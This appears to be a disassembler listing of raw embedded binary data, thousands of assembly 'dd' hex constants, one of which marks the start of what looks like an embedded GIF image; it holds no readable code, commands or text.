dd 0E748C428h, 0BA1C2371h, 0A6F505D0h, 606D8BA7h, 0A8D51B2Fh
dd 0B92E35C6h, 927A4449h, 0A4F8E07Bh, 4A193F28h, 94D2964Fh
dd 0C2184BE5h, 0F28DE432h, 0F647EFD5h, 672CA03Bh, 0FD960DE9h
dd 0B0D81B08h, 67FB0046h, 0F2FA5A0Eh, 599B2497h, 0A5A27703h
dd 4B2CD606h, 1087D414h, 2E4468C9h, 0ED725152h, 9308DC31h
dd 6E69B7D6h, 5AC4858Eh, 0D84F0B5Ah, 0ADEDBDAAh, 5C8C393Bh
dd 4E48A70Fh
dd 7130C61Fh, 7A70B8Ah, 224E59CBh, 0CD8AE7A6h, 0A07CA302h
dd 39D444F8h, 0FE483E91h, 0F27C2304h, 0BA32CEF9h, 0C45699F3h
dd 8888D9E7h, 73BE2CB6h, 0E8444F89h, 0D0C99F0Fh, 3E140E86h
dd 3327AD01h, 0F4C678C9h, 0F33F5454h, 6346A358h, 0D1DAC6C7h
dd 0BC7A8E6Eh, 2A474823h, 0F1DA91C7h, 0E424808Fh, 0C8760E42h
dd 91635E4Fh, 0BCE98213h, 0EA493920h, 38A6F235h, 0B54EA9CDh
dd 61ECD377h, 0D40932Fh, 41A550AAh, 0F51AA2D4h, 2A4D48A8h
dd 0D4C19B52h, 0A9F53AA6h, 334660CDh, 67D4C19Eh, 56AA7550h
dd 0A355AACDh, 72ADD5C1h, 0A0D6AB95h, 0F19E3506h, 4346B2D5h
dd 2B08D6ACh, 0D62AB835h, 0ADF5BAB6h, 5A6B4570h, 0BAD74AE7h
dd 0DAAE95DAh, 0F75EABC8h, 0EABED7CAh, 0DD7E26F5h, 970FDE5h
dd 0E47A4047h, 89911B0h, 58CB1762h, 0B156288Ch, 626C8587h
dd 8C115B25h, 98A51618h, 2B66A3F5h, 0B877C7E2h, 2DA0A4C3h
dd 4B311CECh, 0B48ECFDAh, 2D3D28B4h, 11EB316Ah, 0B5D65AC3h
dd 2CFE8919h, 0DB478443h, 7856DADAh, 3A6DB102h, 74109778h
dd 0AF224424h, 2845AD5Dh, 4C845882h, 558E2056h, 0DB9772A9h
dd 0C40C8210h, 9F548561h, 0BEABA774h, 43B7590Eh, 869854ABh
dd 0EC5DB438h, 0E0BA9762h, 3178AF0Dh, 8654DDC4h, 1BDF94CFh
dd 0E1B728E5h, 0C365EB3Dh, 0AF8C9792h, 0D3F9317Ch, 933516A0h
dd 5286ADF7h, 64D45BF7h, 0C9BFF7F8h, 7808630h, 18600C6Ch
dd 0CE07C0F8h, 0C1723005h, 0E2E706E0h, 857E0F15h, 89EC2784h
dd 0C2F85B0Ah, 86845E16h, 0E61CC37h, 20C3E1AFh, 1187F10Eh
dd 1312E24Ch, 4E28C4F8h, 0CC0B8AB1h, 381860E2h, 0B18E3018h
dd 0E3417B8Ch, 0C6B8C05Eh, 8EB1C636h, 5B8BDC77h, 40C7F8F8h
dd 6B90320Eh, 131F6441h, 2648C8F9h, 5C962EF2h, 0F93B258Bh
dd 5F0BBC9h, 64E17C31h, 17D93B25h, 95329E52h, 2EE5CCB1h
dd 59CB5977h, 0C7988626h, 9332E64Ch, 3E6218F9h, 0D79AFE86h
dd 2863E6CCh, 7E6ACDE3h, 6CE59CB3h, 0F9DB3AD6h, 737D65CEh
dd 0D7626F28h, 0BE75CE4Bh, 0A0B40E80h, 42CB8D03h, 14971A1Bh
dd 15A246F2h, 0DE4F213Dh, 53F71BA4h, 0C7ADA4AFh, 0AF76F65Eh
dd 0B4CE93BDh, 5ED93FA6h, 1B32234Ch, 7C1EC48Ch, 515EC92Fh
dd 83D477BFh, 5634C6AEh, 0BB56EACDh, 80D21A7Ah, 1D5DACB5h
dd 0B7E2A26Bh, 752E821Ah, 0EBCD77A5h, 0D7FA0F5Dh, 502F8EB8h
dd 0FB542931h, 0FCBF034Ah, 95B2B64Dh, 0FEA20D1Dh, 78C91A57h
dd 1DA03273h, 0F803396Dh, 76CED8DAh, 5FE18D80h, 0C57B6F01h
dd 8136E6E0h, 6D0CAC01h, 0FFDCFB9Bh, 9580F6F5h, 0BF766041h
dd 30C518B9h, 3DE3BC06h, 0FBDB7AEFh, 7190BFDEh, 0C118A30h
dd 17E3045Fh, 0BF72E0BFh, 2A64BCBBh, 0B6C9F943h, 162DB258h
dd 3B86F0CEh, 88B6163Ch, 0D163C405h, 0E2B7890Ah, 0B8CF18E2h
dd 8A6E31C6h, 14DC7B8Eh, 0C884D0A1h, 0F22E43FEh, 123C8B92h
dd 24394728h, 47091120h, 8EE5BCB0h, 66210488h, 0D83E884Eh
dd 0C872E6DCh, 0C0D01CB9h, 0E17F9E73h, 31062E7h, 8580AA16h
dd 99D1BA2h, 10FA4748h, 1A74CE96h, 5004A08Ch, 2A08FA87h
dd 140AF540h, 6758C1D8h, 0CC4B82F0h, 82F712F5h, 0F03F5FC4h
dd 0B8C79D7h, 0C71D971Ah, 0D97B48B8h, 210B8ED5h, 0B3C85DBBh
dd 0E58FC598h, 1059F73Eh, 0BF78EE39h, 7EE22D45h, 0F9245964h
dd 324E56EFh, 0E47C9996h, 0CC596327h, 0E0F2F650h, 0C3F8CF15h
dd 65F1F99Bh, 0E3E4B36Eh, 2BCAE73Ch, 0C797AB83h, 0AACDE6B3h
dd 235B4867h, 0F3F79FBEh, 0EC4CFF9Fh, 0F41E9B5Fh, 2E2B4BD8h
dd 43FAB1ADh, 881AFA1Bh, 0AC4E06BEh, 0DBDA0DE7h, 0ABDCD20Ch
dd 0CD3FA6FDh, 0CF71EDBDh, 34DFBBD3h, 69592D7Ch, 7B6F5DECh
dd 0E9E4E3DAh, 556C4D81h, 0AFD5F513h, 67ACEA4Eh, 2F5BD47Dh
dd 0BEA8D49Fh, 0FE9BB0BEh, 2EA1EC5Fh, 3FE0FBFBh, 5CE7B9AAh
dd 0BB4B72EDh, 0B6BEE5FCh, 0E00C03B7h, 0DC3B7FF5h, 0FC7010C3h
dd 0FA8C318Dh, 0E1183FC7h, 0DFB6F146h, 0A7FCEECFh, 36EDCDF8h
dd 8036F767h, 165C804h, 97006FF7h, 6FD6586Fh, 340BE80Ch
dd 0F80E6FE6h, 63464B80h, 0BB70D64Eh, 981870E0h, 71471281h
dd 1B81C715h, 0F71B81F7h, 71D71F09h, 0A0721721h, 98287260h
dd 8F09172h, 2972B82Bh, 0E7280847h, 73773408h, 3973A738h
dd 0F73E73D7h, 73F06205h, 4674305Fh, 97490587h, 74B74C74h
dd 34845034h, 47507510h, 61101475h, 4E84D613h, 96126108h
dd 76C75975h, 56855854h, 97788578h, 85B85A85h, 5E85D85Ch
dd 0B0B285E8h, 8630B20Ah, 65865864h, 8687808h, 70765178h
dd 586D86Ch, 178D7057h, 79066187h, 92793669h, 0F8787967h
dd 6740D166h, 0EF55F679h, 15730DE6h, 0D556857h, 0D40D5569h
dd 46FE5400h, 40D25FA5h, 5625440Dh, 8B56D499h, 0C5468918h
dd 88289088h, 0D456956Eh, 80D55740h, 48D89B0Dh, 977AE7AEh
dd 2143D74h, 3D78A16Ah, 9B6A18A2h, 8A95F14h, 8AD53B68h
dd 0C97DA8ABh, 37DD7DC7h, 7DC6C38Bh, 0CE0CE6C9h, 18B80D20h
dd 7E16B06Bh, 0B58B46C9h, 24994978h, 88A5488Bh, 0E28C78BEh
dd 47E26D37h, 6D96E86Dh, 0FD8790C6h, 26F00CA7h, 6F26F28Dh
dd 0F8627803h, 0A6FC6277h, 8DD8DC6Fh, 0DD8DF8DEh, 80C66F08h
dd 0BF6F57Fh, 0DB6FA6F7h, 36F96318h, 80987270h, 8EF8EEh
dd 0F0BC0BC7h, 8068F30Bh, 0BD0BB86Eh, 0B76964B0h, 0B676A0Bh
dd 0B8FE0B8h, 0D8197697h, 70B71270h, 771481Bh, 0A71B8209h
dd 9F90C0Ah, 2271790Eh, 20A69118h, 9F90E91h, 18917097h
dd 0B0940979h, 91D91C91h, 2C094091h, 308F82B8h, 8692392h
dd 27084926h, 0D8340869h, 83783607h, 3083C73Dh, 4683FED9h
dd 17440557h, 84304C84h, 48847844h, 0A0147518h, 9E61284h
dd 429410A1h, 0F9439439h, 0AE9410Ah, 4A0AE0A1h, 0D94A0AF9h
dd 94F94E94h, 4D94294Eh, 0B94D9499h, 9579560Ah, 5A959958h
dd 95995B9h, 95A0A00Ah, 0A995895Fh, 30A99560h, 90C0AB96h
dd 689630AAh, 0A96C96B9h, 8648660Ah, 7D77E0B5h, 0B6488677h
dd 0B58690Bh, 0E64770Ch, 764C64D7h, 70686F8Fh, 8E787872h
dd 86658747h, 8D066B87h, 0BF0C5879h, 0D89656A0h, 67556B98h
dd 8C56B548h, 70D25668h, 56756D67h, 0AE57198Eh, 0B7AE7AA7h
dd 3D868649h, 0AE6A00D8h, 28B348D8h, 49C8AF68h, 0C33D98A3h
dd 68C06818h, 6C78C66Ch, 0B87E08C8h, 50C80CE8h, 0C80C854h
dd 0D78CC5FEh, 0E9BC0CC6h, 6D40CC5Fh, 0B06C57E1h, 19AF6C79h
dd 8CD8C89Bh, 62B8CEh, 66F46028h, 6F88048Dh, 0EF8F06F6h
dd 6F98088h, 80B6FF70h, 110BD8ECh, 0DC63C8FEh, 9DE9DD9h
dd 8F00BD70h, 0BE70178Ah, 56517000h, 78B65B9Eh, 500BF65Bh
dd 264B8F26h, 9ED9F08Fh, 0C7098F2h, 79038177h, 90681A9Fh
dd 0A81B909h, 37179FD9h, 91591382h, 17A02911h, 99199169h
dd 0A0991D91h, 90924920h, 69259240h, 927A1092h, 7592A07Dh
dd 5A16A150h, 74183607h, 3A83B068h, 574283C8h, 83E74474h
dd 42055934h, 58468438h, 2374F84h, 3D753A2Ah, 40140159h
dd 9894601h, 98A33A32h, 4A350A10h, 0A39A3894h, 42A3BA3Ah
dd 0FA3E95E9h, 0A41A40A3h, 5EA43A42h, 0A4509B9h, 0A4909B0Ah
dd 4CA4BA4Ah, 209BA4DAh, 915A50A0h, 7E96B96Dh, 296D8637h
dd 96F64497h, 80A59A58h, 88680B67h, 87097E9Fh, 8365F981h
dd 26F56639h, 6EF6F366h, 0F3796A69h, 0B9970BF6h, 6776CD79h
dd 9555C546h, 0AA75A719h
dd 0A70A7779h, 6C98F676h, 0D4B888B5h, 7AD57456h, 0FE89C541h
dd 0AD9AD887h, 9A868899h, 9C6A86A8h, 0CA8C9A8Ch, 0C9B70D28h
dd 0C89B70Ch, 0D8A919BCh, 1A929BC6h, 0A9BA98A9h, 8CA8FA98h
dd 0D254CAh, 0AA2546AAh, 449BC0D2h, 5AA7A9B5h, 0CCAA6AAh
dd 9DA9C0C9h, 562A7FBAh, 6297FE7Fh, 0B69D26F1h, 8F3AB7Ah
dd 8138099Fh, 4E6388F8h, 68556356h, 8570BD76h, 55AC5AC4h
dd 0E64E8FC8h, 70986E9Eh, 0CC650817h, 0D70A70BAh, 9F8AD0ACh
dd 7818AD4h, 0E9099FC9h, 71AADA9Fh, 5171EA00h, 0B91890EAh
dd 91AA0791h, 1BAE5A0Ah, 0FAE8A0E9h, 0A1109008h, 75A11AECh
dd 8A1707D0h, 72A18A1h, 2F062A15h, 0FA1F9309h, 0A2474383h
dd 3E74CA25h, 30340430h, 33A2703h, 2EA2FA2Bh, 0AA2F93DAh
dd 8EA3600h, 0EB0DB0Ch, 1A34B0DBh, 0A33B12B1h, 96A32096h
dd 9B18B170h, 0B1BB1AB1h, 1EA4EB1Bh, 1B20B1FBh, 9CA4DB2h
dd 25B25B24h, 2B2409FBh, 9F0AAA5h, 0A5FE3A54h, 7186390Ch
dd 0AB2F8649h, 0B3196FA5h, 79869B30h, 7A61AD49h, 9809E965h
dd 689CF78Ch, 0CA6D9CFAh, 676A7AA7h, 5F5FC5FDh, 0D0C99955h
dd 0B45B4A6Ch, 6F892B4Eh, 656E0D85h, 9C489588h, 886C7888h
dd 80D26886h, 6C88BE0Dh, 0C59AEB56h, 9B62A8D9h, 9BE6D36Ch
dd 94A99A92h, 0CA93A93Ah, 0A95B66AAh, 0AEB67B6Bh, 76CFA9BAh
dd 0AA154D8Ch, 470CDAA2h, 1AAAA9C5h, 0AAD9BDB7h, 0C69BCB7Ch
dd 362B0CC0h, 0C062A7Fh, 2606627h, 8E60C06h, 8F098A0Ch
dd 0F39D2B8Ah, 39F08F18h, 0AC09DEB9h, 98B97AC6h, 0F8FEAC5Bh
dd 9F69F58Fh, 8815ACCh, 0E9F69037h, 0BA5AD5B9h, 0D9AD7711h
dd 0B0AE718Ah, 0ADDADAADh, 109A71Dh, 6097A04Ah, 0BB5AE6A0h
dd 0E9AE991Dh, 0D733928Ah, 92692AAEh, 16AEFAF0h, 8A15739Ah
dd 0A1CAF683h, 0FAA2073Fh, 8AFC748Ah, 3E04393h, 0D003303Eh
dd 0FA2ABD1Bh, 0BD5BD4A2h, 0BD70FE0Ah, 3873B08Eh, 0D73CBDB8h
dd 836BDE92h, 0E2BE1070h, 5BE4BE3Bh, 6FBE5BEh, 73BE9BE8h
dd 0E073BEB0h, 6EBEE06h, 0F1BEF06Fh, 406EBF1Bh, 0BF7BF607h
dd 78BF7BF8h, 0A07C0740h, 7C078BFh, 2C01078h, 0C01C03Ch
dd 0C0707708h, 82077C08h, 0BC0AC0B0h, 0C0FC0EC0h, 7FC0E08Dh
dd 0FC0B07F0h, 8A08D07h, 1809508Ah, 0DC1CC1BCh, 92C19C1h
dd 22C21C20h, 5C21C23Ch, 9509209h, 0E2095C28h, 4097AE2Ah
dd 0A51A070Ah, 9F0A40A4h, 4C34C310h, 968B2E0Ah, 0A7C390A7h
dd 0DC3C0B00h, 0C3FC3EC3h, 0BBC3DC40h, 0CB3B0BC0h, 0BA481986h
dd 49AD2AD0h, 0BB9386ECh, 0C4FAB70Bh, 0F598A8E6h, 5B42A6A6h
dd 8D26F6C5h, 5AAB36F5h, 18E3C5BCh, 6F38DA63h, 628E08D6h
dd 463B0C1Ch, 0B40B3ACh, 68C69C68h, 976A0B3Ch, 85F95A85h
dd 0C6C6C769h, 981363BAh, 0B877576h, 5FC78771h, 195A85A8h
dd 90C95686h, 0AA967FEh, 2B90DC81h, 2A4290EBh, 828919BBh
dd 8CC8BC8Ah, 9094722Ch, 82A91B72h, 0B8AE7728h, 0D08DBB8Bh
dd 88A0E08h, 9A089088h, 0AC9EC9BCh, 0C9C089C9h, 0A4085088h
dd 3085CA5Ch, 0CA5CA3CAh, 0A7083083h, 0BBC088Ch, 0CB1C95A1h
dd 0AFCB2CB2h, 83CAFCh, 0CB9CABA1h, 7A083CBAh, 0FCBECBD0h
dd 0CC1CC0CBh, 7A079CC0h, 7CC60710h, 0CC9CC8CCh, 0CC06DCC6h
dd 0FCCE065Ch, 60CD0CCh, 0D2065CD2h, 4064CD5Ch, 5DCD206h
dd 0DC05D060h, 9CDDCDDCh, 0CE1CE005h, 51051059h, 1CE4CE00h
dd 0CE805505h, 0EC04BCE7h, 0C03FCECCh, 3F041CEh, 3F03FBCEh
dd 103F0400h, 0BCE04004h, 0D2CFBBD1h, 5CFEA2BBh, 0BD4BD5B0h
dd 4D03BD7h, 104CD03Dh, 2F02F04h, 9D0B021h, 0FD0ED0DDh
dd 0D11D10D0h, 14032D12h, 7D16D15Dh, 3AD15D1h, 3AD1BD1Ah
dd 0FD1E0420h, 39D1ED1h, 24039042h, 7047042Dh, 0FE7D1E04h
dd 0D26D2AD2h, 27D2DD2Ah, 0E052050Dh, 4E05004h, 34D33D32h
dd 4D38050Dh, 52D3AD3h, 3ED3D05Ch, 1D3E05ADh, 5AD3DD4h
dd 44D45D44h, 9D48063Dh, 0D4B06AD4h, 4ED4DD4Ch, 106906ADh
dd 6CD51D5h, 0CCD4DD51h, 0BD4F06DCh, 76C09D4h, 82D5DC09h
dd 3D5FC140h, 8707FC1h, 66C1E087h, 5C29C18Dh, 0D6B09309h
dd 6CD6DD6Ch, 0ED6DD69Dh, 0D7308CA0h, 71D6E08Ch, 9093A0EDh
dd 82A09309h, 7ED7D099h, 0ED80D7FDh, 0D830A3D7h, 860A50A3h
dd 8D86D87Dh, 0D8BD8A0Ah, 8ED8DD8Ch, 6D8BD8FDh, 0D8CD880Ah
dd 960AC71Dh, 9D98D97Dh, 0D9BD9AD9h, 9ED9DD9Ch, 0F90A0ACDh
dd 0D9ADA2D9h, 0A6BAE81Fh, 9C8D71EDh, 726DAADAh, 1CB17AE5h
dd 172B0969h, 0DB3DB2DBh, 0B3A0972Bh, 1DB1923Ch, 0CA6DBACAh
dd 0BEDBDDBCh, 0BDBFDBFDh, 8007B07h, 80DC2DC4h, 207C07C0h
dd 0DCBDCADCh, 0C2DCBDCCh, 0EC08CC1Ch, 0F0FE77CBh, 0CCACC5DCh
dd 0C6DD7DD6h, 1071CCECh, 61CCE06h, 0E0DDFDDEh, 5061DE1Dh
dd 60DDFCDh, 0E1DE7DE2h, 0BDEACE2Dh, 57DECDEh, 0F0DEFDEEh
dd 3CE3057Dh, 0DF4DF405h, 0F804D051h, 0BCE704DDh, 0DFDDFCDFh
dd 0EDCE4DFEh, 9CECE01Ch, 4804DDFh, 8E0704Ah, 0BE0A048Eh
dd 0E0DE0CE0h, 4AE0FE08h, 0AE12E0D0h, 0E15E02E0h, 0EDE17E16h
dd 0BE1A040Ch, 0CF4E1AE1h, 0F4E1FE1Eh, 0E20E1BCh, 0E25036E2h
dd 40E26E26h, 3E23CF80h, 4103603h, 0E017D0Bh, 0E00E0210h
dd 0E3501700h, 38E37E36h, 3E36E39Eh, 0E3CE3CE3h, 4001BE35h
dd 0E42018Eh, 0E45E44E4h, 1B018E44h, 0AE4A01A0h, 0E48E4201h
dd 1B02B02Bh, 3E52E4F0h, 0D1CE53E5h, 2DE57E56h, 0BE5A03C0h
dd 0E5DE5CE5h, 60046D1Ah, 3D3AE60Eh, 0E65E64E6h, 5605604Eh
dd 0BE6AD460h, 0D49E6AE6h, 70E6FE6Eh, 2D59E71Eh, 6C069D5h
dd 6C06AD58h, 606CE790h, 0CE7CFE07h, 81D62E7h, 7FE80E80h
dd 4E80E810h, 0D74D67D6h, 8CC1DD67h, 0DD7408A0h, 0E8FE8EE8h
dd 76E8ED6Bh, 0CD7FD6DDh, 0E97D81D6h, 9AD84099h, 0DE9CE9BEh
dd 828E9DE9h, 0A171F0A3h, 5EA4DA7Eh, 0DA5DA6EAh, 0AAEA9EA6h
dd 0DDABADDEh, 0A08DA9EAh, 19094BB6h, 0DDB4AE6Bh, 90AE8A0h
dd 0BAC97089h, 0B924EBAEh, 0CA0C97EBh, 0A6DC0CA1h, 5EC4DC4Ch
dd 0EC5DCDECh, 0CADC8DC4h, 9BFDDCBEh, 0BE9074BFh, 0D0ED1ED0h
dd 0CC7BE4Eh, 6FCC707h, 5DCCCD57h, 0DED9C09Dh, 0CD0EDDEDh
dd 0D8EE1EE0h, 5CD7060Ch, 0CDECDECDh, 0EAEE9DECh, 0DDFFCE2Eh
dd 0EEFE04DFh, 4EF1EF0h, 5EF4E13Eh, 3DEF5EFh, 0FAEF9EF8h
dd 0DD24EFAEh, 0EFFEFEEFh, 2F01F00h, 5EFBEFEFh, 0F07F06F0h
dd 4003DF08h, 40F0A0h, 0F0FF0E03h, 12F11F10h, 501FF0FFh
dd 0F17F16F1h, 1F020020h, 0DF1CF190h, 0F15F1DF1h, 5D0B033h
dd 6006F230h, 600900FEh, 5F2300h, 2CF2BE3Dh, 900500EFh
dd 0F31F3000h, 34003F30h, 9F36F32Fh, 0F3900C00h, 10018E4Dh
dd 0FF3EF3D0h, 12F3FF3h, 4201AF42h, 0AE49012Fh, 0F47E4901h
dd 2602BE4Ah, 0FF4C0260h, 0F51F4DE4h, 5402D026h, 7F56F55Fh
dd 3CE59F5h, 5BF5B035h, 0F5B038Fh, 0E61F5CE6h, 4EE61F62h
dd 9F660490h, 0F6904F04h, 6804FF6Ah, 4E68F6DEh, 5405A05h
dd 6CF72F72h, 605BD46Eh, 0F7905BF7h, 48F7AF7Ah, 0EE7105EDh
dd 0E7AD5305h, 84E7DE7Ah, 6079E7DFh, 0F89E8407h, 8CF8BF8Ah
dd 8E86E81Fh, 0E89E8BC1h, 93E8DC1Bh, 8E96F95Eh, 9D09DE9h
dd 9CF99E9Ah, 0FE9EF99Fh, 0FA1FA0F9h, 3AADDD83h, 0DC39FA5Ch
dd 0F9F71E0Ah, 23C3AEA5h, 9EABD848h, 0EA5E9BFAh, 26A07C8Ah
dd 1A07AE37h, 0FB9FB8EBh, 8D08FC94h, 0FFBEDBA0h, 0C9DFC0FBh
dd 9AFC3FC2h, 7EC8CA4Ch
dd 0ECAFC7FCh, 0CCECEECDh, 0FECFFCDFh, 7FD0ED2Eh, 0FD306606h
dd 67066FD4h, 9FD8FD70h, 0CCCFD7FDh, 0DEEDE067h, 1EE1EDEFh
dd 0FE3CD5CDh, 59EE8EE7h, 0F79F7B0h, 0EEBF7ACEh, 53057DF5h
dd 0ADF4DF80h, 0FF2CE4DFh, 0CDF8EEEh, 4E0BFF6Eh, 0E0CFFA04h
dd 44FFDFFAh, 0B100F000h, 8240E043h, 0CC1C7305h, 8C46F031h
dd 3E1D0D1Bh, 0C630D884h, 2D158A44h, 5198C45Eh, 2E8B46E3h
dd 0A8F47E3Ch, 1748A442h, 4C8A422Ah, 7A55231h, 7A5D2D96h
dd 0E65310F8h, 3F359A4Ch, 4130783Ch, 3A0884E7h, 0B9DCFC23h
dd 108841F3h, 10080C06h, 0D2290050h, 38060502h, 0C135101Dh
dd 0A355A8D3h, 359AC52Eh, 4AE0100h, 1B057C0Eh, 0B2032C16h
dd 8032CD65h, 5A6D5690h, 0B4216D09h, 0EE41AB6Dh, 3174BA5Ch
dd 0C22135CCh, 7D120984h, 116892FDh, 160B4598h, 0A8B70B85h
dd 0E2F15891h, 171C46C5h, 0C9245C81h, 284F24E4h, 59927E53h
dd 5627E6F3h, 6FE7F3Ch, 68CB5A1Dh, 78B7A3D2h, 8BDA72D9h
dd 5DAB3197h, 86434EBBh, 0B5DA1B0Ch, 93B6DB6Dh, 0DE1E773Bh
dd 6FD0279h, 0EF37BC0Eh, 78DC5E0h, 9148C43Ah, 19C943A2h
dd 5D1E5F29h, 0D5E7A2BAh, 9EC24D19h, 4CF6BB5Dh, 0EF77BDDDh
dd 78D3AA34h, 8FC9E5F2h, 0FD5E9F42h, 0D7EDF67Ah, 5F1F829Bh
dd 0F553A8FEh, 9FC7CBEBh, 0FE7EFF5Fh, 0CFABFBFDh, 64F934Fh
dd 312F01Ch, 4130440Fh, 0B0612904h, 841F0741h, 2508C230h
dd 0A42B0A1h, 0C330C11Bh, 0B0E43644h, 443B0F43h, 47114424h
dd 4044A41Ch, 0C531444Eh, 9160F914h, 80E7170Eh, 0DE398DF1h
dd 1B46B1A0h, 4711C46Fh, 71E47637h, 47E3347h, 86338CD2h
dd 32C87224h, 0C912448Eh, 72649636h, 849E3549h, 9324CA32h
dd 300CA324h, 0BB2C4AEh, 62D8BB2Dh, 0C8B2D94Bh, 0AF313522h
dd 334CB320h, 0CD229CC9h, 0B3609B34h, 64DF374Dh, 0E7390913h
dd 0CEB3FEA4h, 33C08939h, 0DA1081CFh, 701DCF81h, 40A061C0h
dd 0A1688A15h, 61706E8Ah, 65169022h, 4E8DD134h, 49523480h
dd 4F4A527h, 34C52E14h, 0E5374D53h, 3E148514h, 51543505h
dd 0D4A0ED43h, 35425E0Eh, 65560CD5h, 7006D5B5h, 9C563582h
dd 56A05A82h, 69D56B5Bh, 681CA181h, 0B2A3804Ah, 60AAA012h
dd 0AA604AA5h, 16458201h, 6002AC58h, 0BAAEAB76h, 42C4B12h
dd 80F69ABEh, 4B52CCB3h, 8DB4B582h, 0EEB9AEABh, 0BE838B9Ah
dd 5CA11038h, 0C115CA12h, 3308C0AFh, 18C3306Ch, 2331D783h
dd 32EC8B22h, 0ECE5ED7Bh, 0E342CEB3h, 0FED2B3F7h, 0D7B537FDh
dd 0B6234B5Eh, 43660EDBh, 0C8FC3B37h, 1F870FC3h, 0E1B7E3F6h
dd 0E2AE3B7Ah, 2E9B9AE6h, 0DBAB8D63h, 0B18F63AEh, 913CCEF3h
dd 64AF7645h, 0CF664F93h, 6657953Eh, 5F9765B9h, 93663986h
dd 40B023F3h, 0D9C66F05h, 76770940h, 2B9F42D0h, 42A4A4FEh
dd 71043F0Dh, 268FA344h, 94401071h, 15E9B156h, 45C3E459h
dd 1AA6A7A9h, 0D4763C0Fh, 0CD1E47B1h, 0AF4831F0h, 0EC322C83h
dd 3260CF23h, 1ECFB34Ah, 8FB4ED23h, 306DB2C4h, 4C52ECB6h
dd 530B532Dh, 44CED4CCh, 0A7BD4D53h, 36EFB380h, 4F33B4EDh
dd 0B3C707C1h, 728220h, 741F134h, 4450B425h, 22E8E241h
dd 0BCA52BC8h, 0EF2FCB72h, 4745D334h, 53D4D51Dh, 55A96553h
dd 0C0B747D1h, 6F4E0682h, 4FD40220h, 5B8229FFh, 81F5BF5Fh
dd 81082605h, 28E02D7h, 0ACA58000h, 0AB58763Ah, 0A91DED90h
dd 0B66F87DCh, 7D9FE2F8h, 0A6B05A36h, 0E6F9A045h, 0DB8B2DAFh
dd 0B6EAE0B7h, 0E034082Eh, 0B5717B20h, 0BEDD1ECFh, 0B06C15D6h
dd 0C2DDB75h, 0A5E6C55Eh, 30C87D37h, 0CE326CD3h, 5FBF7FDEh
dd 4D434B7Eh, 936181B5h, 0F84366Dh, 0DD8FCDDEh, 0FFD850F2h
dd 8AB13626h, 8762E701h, 0FE0258D0h, 8F9CF3ADh, 233BEC79h
dd 50796083h, 0E192C136h, 0BB313D47h, 73F07F8Fh, 5064FA1Fh
dd 0E0F1F983h, 9A3F07Bh, 672CD901h, 0A59E097h, 9FC2A855h
dd 18432249h, 910C5A22h, 9912B466h, 622869C8h, 66A089D1h
dd 0C8E5A9B5h, 43723987h, 35F6B48Dh, 488D7E22h, 12033A48h
dd 0B4367491h, 5789CDA9h, 0B69652B2h, 6DBAB704h, 0C2638AA1h
dd 0E8B4DEDBh, 0CE013837h, 9C22778Bh, 90770EE1h, 70CA013Fh
dd 43087913h, 46A89222h, 998DB1B5h, 32E55CBBh, 814BC737h
dd 0C39C530Ah, 0B73C0A63h, 64B95347h, 95647F74h, 0BA8754E9h
dd 74EABC9Fh, 0EC24300Fh, 0DAAB7914h, 0BA786535h, 78B1CA43h
dd 2561BBC7h, 33C4784Bh, 0C791265Eh, 0CB51E515h, 449F79h
dd 3D32E0F4h, 5C2B79EAh, 0F65EE3DBh, 0EFAE95CEh, 0E130EF8Dh
dd 0CEF9976Bh, 0ADF53E87h, 0ABED7DCFh, 0B974FC0Ch, 0E679F92Fh
dd 0DFB1AB5Fh, 97FEF2FDh, 8FF1FDBFh, 0A00C0237h, 9BE80700h
dd 62E72202h, 2D8DC09h, 7B1D81Bh, 149AD046h, 0E28026C4h
dd 7A0C4173h, 0FB2C8350h, 0B6567EE0h, 0A7C66D4Dh, 59CC2666h
dd 42B40E84h, 67ECEE76h, 3C618C2Fh, 1AA21867h, 3A86ED32h
dd 0F93E03E4h, 0FDAA0780h, 0C4406B50h, 50DCD69Ah, 0E90A8244h
dd 923A5388h, 36689893h, 4B0DAA27h, 14DB6864h, 304556E7h
dd 596EEDD9h, 0B8DEA2D4h, 7A2FA6E8h, 127A7091h, 92051923h
dd 840D3DB8h, 9C746922h, 120A551Bh, 50A4638h, 1D148471h
dd 3BA9F533h, 7951AA8Ah, 0F71F14FCh, 0FE402A88h, 5D3F7591h
dd 0B91321DDh, 0F23E4548h, 649BBB91h, 3BF29A55h, 93323CACh
dd 2764DC9Ah, 4FCA000Fh, 0D42DD28Ah, 54B79EABh, 9A554A99h
dd 7BE0300Bh, 25DF2C25h, 32D41ACBh, 4CDCB77Dh, 0AF99772Eh
dd 3492FA5Eh, 0FD42D05Eh, 619AE7EEh, 0B598AFEAh, 926EDFF9h
dd 65B0AAA9h, 799B332h, 0A4C66684h, 84EE4D39h, 0CC119ACCh
dd 83E76266h, 0D38E6E9Eh, 6103303Fh, 8A69BD63h, 9CE7C272h
dd 83505C27h, 154ED412h, 1311E23Eh, 1B0BD0B2h, 0CE794F11h
dd 0D4F786B0h, 0B1013E21h, 0C1BE7EC3h, 28123445h, 4436B28Fh
dd 0A0D415AEh, 0D851FA43h, 84A4B892h, 51A16D96h, 1EDA686Ah
dd 568936EAh, 0B25F0B74h, 0A6F2DE28h, 6DEC26A6h, 68EB7FA3h
dd 462A3EE0h, 8CB48881h, 0ED3F283h, 87B8EA4Eh, 73A574ACh
dd 294BE974h, 8D4E5327h, 0C91EBBCAh, 0C73D4EA3h, 0E8A9ED3h
dd 1D53ACA8h, 48890C4Eh, 20322AA2h, 3B00h, 0
dd 38464947h, 3AC6139h, 0FFE7006Ch, 7F5C2F00h, 35925D2Ch
dd 60338C5Ch, 8A612E83h, 319C6227h, 62309661h, 91613A91h
dd 2C886438h, 6535A066h, 9D692E9Ah, 3695653Fh, 683C9768h
dd 0A469318Ch, 3F936A36h, 693B9268h, 0A86C359Fh, 38986E3Bh
dd 702FAA6Eh, 9A703DB1h, 479F6D48h, 6F41916Fh, 0A07040A5h
dd 319C7436h, 733DAE74h, 9B704796h, 41AD723Ch, 76379D73h
dd 0A1793BB8h, 45B27641h, 7938A177h, 0AD7743B4h, 3BBC7C2Fh
dd 7D37BB79h, 0A87849ABh, 3FA37750h, 7B41A47Ch, 9E7A4AAAh
dd 33987853h, 7858BF7Eh, 9E785692h, 3BBE7C3Eh, 7F40AF81h
dd 0A98043BAh, 4AAE7F46h, 833EBA7Dh, 0A4814DB1h, 39B07F51h
dd 8344C085h, 0B48541BEh, 59B8824Ch, 815BAC80h, 0A6805EA2h
dd 4A9C8161h, 854CAF86h, 0B68843B5h, 3EBA8257h, 8847C489h
